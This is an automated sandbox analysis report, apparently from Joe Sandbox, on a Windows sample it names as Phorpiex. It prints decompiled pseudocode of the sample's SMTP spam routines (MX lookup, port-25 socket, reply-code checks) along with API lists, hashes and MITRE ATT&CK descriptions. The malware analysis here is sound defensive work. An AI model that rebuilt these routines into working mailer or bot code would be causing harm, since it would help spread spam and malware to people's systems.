											}
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 6:
										goto L0;
								}
							} else {
								break;
							}
						} else {
							break;
						}
					}
					L49:
					 *(_t192 - 8) = 0 |  *(_t192 - 0x20) == 0x00000008;
					__imp__#22( *((intOrPtr*)(_t192 - 0x1c)), 2); // executed
					__imp__#3( *((intOrPtr*)(_t192 - 0x1c))); // executed
					return  *(_t192 - 8);
				}
			}

0x00c721f2
0x00c721f2
0x00c721f2
0x00c721fd
0x00c72202
0x00c72205
0x00000000
0x00c7220c
0x00c71ab4
0x00c71ab9
0x00c71abc
0x00c71ac9
0x00c71ad0
0x00c71ad6
0x00c71ae5
0x00c71aea
0x00c71aef
0x00c71af6
0x00c71af9
0x00c71b08
0x00c71b15
0x00000000
0x00000000
0x00c71b1b
0x00c71b21
0x00000000
0x00c71b28
0x00c71b28
0x00c71b3c
0x00c71b71
0x00c71b77
0x00c71b7a
0x00c71b3e
0x00c71b4f
0x00c71b55
0x00c71b58
0x00c71b58
0x00c71b92
0x00c71b97
0x00c71b9c
0x00c71baa
0x00c71b9e
0x00c71b9e
0x00c71b9e
0x00000000
0x00000000
0x00000000
0x00000000
0x00c71bb6
0x00c71bb6
0x00c71bbf
0x00c71bc6
0x00c71bcc
0x00c71bdb
0x00c71be2
0x00c71be8
0x00c71beb
0x00c71bf1
0x00c71bff
0x00c71c03
0x00c71c0d
0x00c71c1b
0x00c71c0f
0x00c71c0f
0x00c71c0f
0x00000000
0x00000000
0x00c71c27
0x00c71c27
0x00c71c37
0x00c71c3d
0x00c71c40
0x00c71c46
0x00c71c4d
0x00c71c58
0x00c71c62
0x00c71c70
0x00c71c64
0x00c71c64
0x00c71c64
0x00000000
0x00000000
0x00c71c7c
0x00c71c83
0x00c71c87
0x00c71c91
0x00c71c9f
0x00c71c93
0x00c71c93
0x00c71c93
0x00000000
0x00000000
0x00c71cab
0x00c71cab
0x00c71cc9
0x00c71ccf
0x00c71cdd
0x00c71cea
0x00c71cf2
0x00c71cfb
0x00c71d0a
0x00c71d11
0x00c71d16
0x00c71d17
0x00c71d1c
0x00c71d1c
0x00c71d22
0x00c71d27
0x00c71d28
0x00c71d2d
0x00c71d2d
0x00c71d33
0x00c71d38
0x00c71d39
0x00c71d3e
0x00c71d3e
0x00c71d44
0x00c71d49
0x00c71d4a
0x00c71d4f
0x00c71d6c
0x00c71d73
0x00c71d79
0x00c71d7c
0x00c71d82
0x00c71d90
0x00c71d94
0x00c71d9e
0x00c71dac
0x00c71dc5
0x00c71dce
0x00c71ddc
0x00c71de3
0x00c71de9
0x00c71dec
0x00c71df9
0x00c71e00
0x00c71e04
0x00c71e0e
0x00c71e25
0x00c71e2c
0x00c71e32
0x00c71e35
0x00c71e3b
0x00c71e49
0x00c71e57
0x00c71e65
0x00c71e75
0x00c71e7b
0x00c71e7e
0x00c71e84
0x00c71e8b
0x00c71ea0
0x00c71eb8
0x00c71ebf
0x00c71ec5
0x00c71ec8
0x00c71ece
0x00c71edc
0x00c71eea
0x00c71ef8
0x00c71f0b
0x00c71f11
0x00c71f14
0x00c71f1a
0x00c71f21
0x00c71f36
0x00c71f44
0x00c71f4b
0x00c71f66
0x00c71f74
0x00c71f7b
0x00c71f81
0x00c71f84
0x00c71f8a
0x00c71f98
0x00c71fa6
0x00c71fbb
0x00c71fc9
0x00c71fec
0x00c72008
0x00c72015
0x00c72030
0x00c72044
0x00c72051
0x00c72080
0x00c7208d
0x00c720bc
0x00c720c9
0x00c720e1
0x00c720ef
0x00c72104
0x00c7211f
0x00c72133
0x00c72140
0x00c7216f
0x00c7217c
0x00c721ab
0x00c721b8
0x00c721d0
0x00c721de
0x00c721e9
0x00c721e0
0x00c721e0
0x00c721e0
0x00c720f1
0x00c720f1
0x00c720f1
0x00c71fee
0x00c71fee
0x00c71fee
0x00c71fcb
0x00c71fcb
0x00c71fcb
0x00c71fa8
0x00c71fa8
0x00c71fa8
0x00c71f38
0x00c71f38
0x00c71f38
0x00c71eec
0x00c71eec
0x00c71eec
0x00c71ea2
0x00c71ea2
0x00c71ea2
0x00c71e59
0x00c71e59
0x00c71e59
0x00c71e10
0x00c71e10
0x00c71e10
0x00c71da0
0x00c71da0
0x00c71da0
0x00000000
0x00000000
0x00000000
0x00000000
0x00c71af1
0x00000000
0x00c71af1
0x00c71acb
0x00000000
0x00c71acb
0x00c71ac9
0x00c72211
0x00c7221a
0x00c72223
0x00c7222d
0x00c72239
0x00c72239

APIs

Part of subcall function 00C71120: lstrlenA.KERNEL32(?), ref: 00C7112D
Part of subcall function 00C71120: send.WS2_32(?,?,000000FF,00000000), ref: 00C71144

shutdown.WS2_32(000000FF,00000002), ref: 00C72223
closesocket.WS2_32(000000FF), ref: 00C7222D

Strings

QUIT, xrefs: 00C721F4

Memory Dump Source

Source File: 0000000A.00000002.2485576792.0000000000C71000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C70000, based on PE: true

Associated: 0000000A.00000002.2485529967.0000000000C70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485627588.0000000000C74000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485672079.0000000000C76000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485716822.0000000000C78000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c70000_22195367.jbxd

Similarity

API ID: closesocketlstrlensendshutdown
String ID: QUIT
API String ID: 317823648-1967077921
Opcode ID: 462fff62aa27f9098c0a48a89f42e7edcc70066a60f0c8552625aeac17de0944
Instruction ID: 594bf0017495fd6df65c5af2795768ce8b154a2dd85235f7fe882092bbe50b90
Opcode Fuzzy Hash: 462fff62aa27f9098c0a48a89f42e7edcc70066a60f0c8552625aeac17de0944
Instruction Fuzzy Hash: 3A011D71E40218EFCF14DBA4DC49BEDB778BB48365F048269E91D76281D7794584CB14

Uniqueness

Uniqueness Score: -1.00%

Function 00C716E0 Relevance: 4.5, APIs: 3, Instructions: 43
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C71440: inet_addr.WS2_32(00C710D9), ref: 00C7144A
Part of subcall function 00C71440: gethostbyname.WS2_32(?), ref: 00C7145D

htons.WS2_32(?), ref: 00C71714
socket.WS2_32(00000002,00000001,00000006), ref: 00C71724

Memory Dump Source

Source File: 0000000A.00000002.2485576792.0000000000C71000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C70000, based on PE: true

Associated: 0000000A.00000002.2485529967.0000000000C70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485627588.0000000000C74000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485672079.0000000000C76000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485716822.0000000000C78000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c70000_22195367.jbxd

Similarity

API ID: gethostbynamehtonsinet_addrsocket
String ID:
API String ID: 230923099-0
Opcode ID: 480cbec9ae70882be3e84facfad9b5c6ac075a9e5836080f86e69d601c297d41
Instruction ID: 6c3e4ba77be0faf295a9c019e9b84c8ca48abd0750c5e02ffdd6ea85f9fb8731
Opcode Fuzzy Hash: 480cbec9ae70882be3e84facfad9b5c6ac075a9e5836080f86e69d601c297d41
Instruction Fuzzy Hash: 8D014C74900208EBCB14DFB89849BAD7B75AF14334F608355F939A72D0E7708B819791

Uniqueness

Uniqueness Score: -1.00%

Function 00C710A0 Relevance: 4.5, APIs: 3, Instructions: 41
networkCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00C710A0(intOrPtr _a4, short _a8) {
				char _v8;
				char _v12;
				char* _t16;
				intOrPtr _t19;
				short _t20;

				_v12 = 0;
				_v8 = 0;
				_push(0);
				_t16 =  &_v8;
				_push(_t16);
				_push(0);
				_push(0);
				_push(0xf);
				_push(_a4); // executed
				L00C7307A(); // executed
				if(_t16 == 0) {
					_t19 = E00C71440( *((intOrPtr*)(_v8 + 0x18))); // executed
					 *((intOrPtr*)(_a8 + 4)) = _t19;
					if(_a8 != 0) {
						_t20 = _a8;
						 *_t20 = 2;
						__imp__#9(0x19);
						 *((short*)(_a8 + 2)) = _t20;
						_v12 = 1;
					}
					_push(1);
					_push(_v8);
					L00C73074();
				}
				return _v12;
			}

0x00c710a6
0x00c710ad
0x00c710b4
0x00c710b6
0x00c710b9
0x00c710ba
0x00c710bc
0x00c710be
0x00c710c3
0x00c710c4
0x00c710cb
0x00c710d4
0x00c710df
0x00c710e6
0x00c710ed
0x00c710f0
0x00c710f5
0x00c710fe
0x00c71102
0x00c71102
0x00c71109
0x00c7110e
0x00c7110f
0x00c7110f
0x00c7111a

APIs

DnsQuery_A.DNSAPI(00000000,0000000F,00000000,00000000,00000000,00000000), ref: 00C710C4

Part of subcall function 00C71440: inet_addr.WS2_32(00C710D9), ref: 00C7144A
Part of subcall function 00C71440: gethostbyname.WS2_32(?), ref: 00C7145D

htons.WS2_32(00000019), ref: 00C710F5
DnsFree.DNSAPI(00000000,00000001), ref: 00C7110F

Memory Dump Source

Source File: 0000000A.00000002.2485576792.0000000000C71000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C70000, based on PE: true

Associated: 0000000A.00000002.2485529967.0000000000C70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485627588.0000000000C74000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485672079.0000000000C76000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485716822.0000000000C78000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c70000_22195367.jbxd

Similarity

API ID: FreeQuery_gethostbynamehtonsinet_addr
String ID:
API String ID: 1447329520-0
Opcode ID: 8afe6fd3da8e0b66d2ca385b7f904f83ef22e39673785ea6e465c4bb1d0da1f3
Instruction ID: fcd07de83e7c9769ca739534c9b0fc24d4c299915d3375c852fe22168370abee
Opcode Fuzzy Hash: 8afe6fd3da8e0b66d2ca385b7f904f83ef22e39673785ea6e465c4bb1d0da1f3
Instruction Fuzzy Hash: 03011A74A00208EBEB10DFA4D846B9DBB74AF44704F20C054ED085F381D7B6EA45DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00C71230 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

select.WS2_32(?,00000000,00000000,00000000,00000400), ref: 00C7130C

Strings

@, xrefs: 00C71290

Memory Dump Source

Source File: 0000000A.00000002.2485576792.0000000000C71000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C70000, based on PE: true

Associated: 0000000A.00000002.2485529967.0000000000C70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485627588.0000000000C74000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485672079.0000000000C76000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485716822.0000000000C78000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c70000_22195367.jbxd

Similarity

API ID: select
String ID: @
API String ID: 1274211008-2766056989
Opcode ID: 2ec1e9e08fe90ecfbe03dc738b047459782c6b09bad37163139eb9107f21e78e
Instruction ID: 91594359ae3addee0ddcb8344fb68313f513855ac630fb22355964ba3b299b0f
Opcode Fuzzy Hash: 2ec1e9e08fe90ecfbe03dc738b047459782c6b09bad37163139eb9107f21e78e
Instruction Fuzzy Hash: EF21D870A0011C9BCB68CF59C8927EDB7B6AB45314F24C199EA1DA7284DB309F818F90

Uniqueness

Uniqueness Score: -1.00%

Function 00C71440 Relevance: 3.0, APIs: 2, Instructions: 26networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(00C710D9), ref: 00C7144A
gethostbyname.WS2_32(?), ref: 00C7145D

Memory Dump Source

Source File: 0000000A.00000002.2485576792.0000000000C71000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C70000, based on PE: true

Associated: 0000000A.00000002.2485529967.0000000000C70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485627588.0000000000C74000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485672079.0000000000C76000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485716822.0000000000C78000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c70000_22195367.jbxd

Similarity

API ID: gethostbynameinet_addr
String ID:
API String ID: 1594361348-0
Opcode ID: 192d22b4b271132e72aa43cb90573817d798121e48665259daabce61c123d2a9
Instruction ID: 3dd575241b9a7f693f7618d5dc57f01bd34bec00a255b3e89614788161597cc4
Opcode Fuzzy Hash: 192d22b4b271132e72aa43cb90573817d798121e48665259daabce61c123d2a9
Instruction Fuzzy Hash: D5F0F878900208EFCB04EFB8D54899DBBB5EB49321F608698ED5997360D7309A80DB80

Uniqueness

Uniqueness Score: -1.00%

Function 00C71120 Relevance: 3.0, APIs: 2, Instructions: 22
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00C71120(intOrPtr _a4, CHAR* _a8, int _a12) {
				intOrPtr _t10;

				if(_a12 == 0xffffffff) {
					_a12 = lstrlenA(_a8);
				}
				_t10 = _a4;
				__imp__#19(_t10, _a8, _a12, 0); // executed
				return 0 | _t10 == _a12;
			}

0x00c71127
0x00c71133
0x00c71133
0x00c71140
0x00c71144
0x00c71155

APIs

lstrlenA.KERNEL32(?), ref: 00C7112D
send.WS2_32(?,?,000000FF,00000000), ref: 00C71144

Memory Dump Source

Source File: 0000000A.00000002.2485576792.0000000000C71000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C70000, based on PE: true

Associated: 0000000A.00000002.2485529967.0000000000C70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485627588.0000000000C74000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485672079.0000000000C76000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485716822.0000000000C78000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c70000_22195367.jbxd

Similarity

API ID: lstrlensend
String ID:
API String ID: 3675724601-0
Opcode ID: db4ef5f616ad758739faeea7b49098df0c433581e21f42ef624708904d5926b7
Instruction ID: 93525296bbd917d708d8bef8651297e4933c5725381e3592b2cefe4bbb705b26
Opcode Fuzzy Hash: db4ef5f616ad758739faeea7b49098df0c433581e21f42ef624708904d5926b7
Instruction Fuzzy Hash: 3EE09A75604749ABDB14DFA8ED45AAE37A8BB48720F508A18FA2DCB290D770E950CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00C71160 Relevance: 1.5, APIs: 1, Instructions: 31networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,00000000,?,00000000), ref: 00C7119F

Memory Dump Source

Source File: 0000000A.00000002.2485576792.0000000000C71000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C70000, based on PE: true

Associated: 0000000A.00000002.2485529967.0000000000C70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485627588.0000000000C74000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485672079.0000000000C76000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485716822.0000000000C78000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c70000_22195367.jbxd

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: e37eeeb5942e193c4224c2290eef6b5a3573769304a258b885a4725c9344a157
Instruction ID: f99e5b420cb3b2796a0097f29c0cdb922506664dce9e349829d8380bf1b0e71a
Opcode Fuzzy Hash: e37eeeb5942e193c4224c2290eef6b5a3573769304a258b885a4725c9344a157
Instruction Fuzzy Hash: D9F05E71610349ABDF04CE68DC04BAF37A8BB04345F48C418BE2D8A290D7B4D690CB90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00C71320 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00C71320(void* __ecx, intOrPtr _a4, char* _a8) {
				char _v8;
				signed int _t19;
				void* _t32;
				void* _t33;

				 *_a8 = 0;
				srand(GetTickCount());
				_t33 = _t32 + 4;
				_v8 = 0;
				while(_v8 < _a4) {
					_t19 = rand();
					asm("cdq");
					_push(_t19 % 0xa);
					_push(_a8);
					sprintf(_a8, "%s%d");
					_t33 = _t33 + 0x10;
					_v8 = _v8 + 1;
				}
				_a8[_v8] = 0;
				return _a8;
			}

0x00c71327
0x00c71331
0x00c71336
0x00c71339
0x00c7134b
0x00c71353
0x00c71358
0x00c71360
0x00c71364
0x00c7136e
0x00c71373
0x00c71348
0x00c71348
0x00c7137e
0x00c71387

APIs

GetTickCount.KERNEL32 ref: 00C7132A
srand.MSVCR90 ref: 00C71331
rand.MSVCR90 ref: 00C71353
sprintf.MSVCR90 ref: 00C7136E

Strings

%s%d, xrefs: 00C71365

Memory Dump Source

Source File: 0000000A.00000002.2485576792.0000000000C71000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C70000, based on PE: true

Associated: 0000000A.00000002.2485529967.0000000000C70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485627588.0000000000C74000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485672079.0000000000C76000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485716822.0000000000C78000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c70000_22195367.jbxd

Similarity

API ID: CountTickrandsprintfsrand
String ID: %s%d
API String ID: 2526408171-1110647743
Opcode ID: 9b041b213c29b3d57e338315fe4a99d6353f2581721ee53ed6de8207b9db016e
Instruction ID: c84843883b39a3d54e8e9a5dbfbfde493067fd53280a84d37d328ab67cac1b87
Opcode Fuzzy Hash: 9b041b213c29b3d57e338315fe4a99d6353f2581721ee53ed6de8207b9db016e
Instruction Fuzzy Hash: 9FF049B4A04108EBDB08DFA9D992B6D77B9EF85304F14C088FD1D4B351D731AE00ABA6

Uniqueness

Uniqueness Score: -1.00%

Function 00C711C0 Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00C711C0(char* _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				void* _t23;

				_v20 = 0xc741c0;
				_v16 = 0xc741c4;
				_v12 = 0xc741c8;
				_v8 = 0;
				_v24 = 0;
				while(_v24 < 3) {
					if(StrCmpNA(_a4,  *(_t23 + _v24 * 4 - 0x10), 3) == 0) {
						_v8 = 1;
					} else {
						_v24 = _v24 + 1;
						continue;
					}
					break;
				}
				return _v8;
			}

0x00c711c6
0x00c711cd
0x00c711d4
0x00c711db
0x00c711e2
0x00c711f4
0x00c71210
0x00c71214
0x00c71212
0x00c711f1
0x00000000
0x00c711f1
0x00000000
0x00c71210
0x00c71225

APIs

StrCmpNA.SHLWAPI(354,220,00000003), ref: 00C71208

Strings

220, xrefs: 00C711C6, 00C71203
250, xrefs: 00C711CD
354, xrefs: 00C711D4, 00C71207

Memory Dump Source

Source File: 0000000A.00000002.2485576792.0000000000C71000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C70000, based on PE: true

Associated: 0000000A.00000002.2485529967.0000000000C70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485627588.0000000000C74000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485672079.0000000000C76000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485716822.0000000000C78000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c70000_22195367.jbxd

Similarity

API ID:
String ID: 220$250$354
API String ID: 0-1679323658
Opcode ID: 73719f0d8148cd3d81f866ca2d9dea5f5b35e9fb702b5ddbdbbace79af60af71
Instruction ID: 3e85a12cc70450238eee0cb287c47b6fd770bfbabdb3ef4894fa61a98c83f24f
Opcode Fuzzy Hash: 73719f0d8148cd3d81f866ca2d9dea5f5b35e9fb702b5ddbdbbace79af60af71
Instruction Fuzzy Hash: 16F090B0905209DBCF00EFD8DE487AEBBB8BB00304F648558D909BB240D3709B44DBA1

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report newtpp.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Phorpiex

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

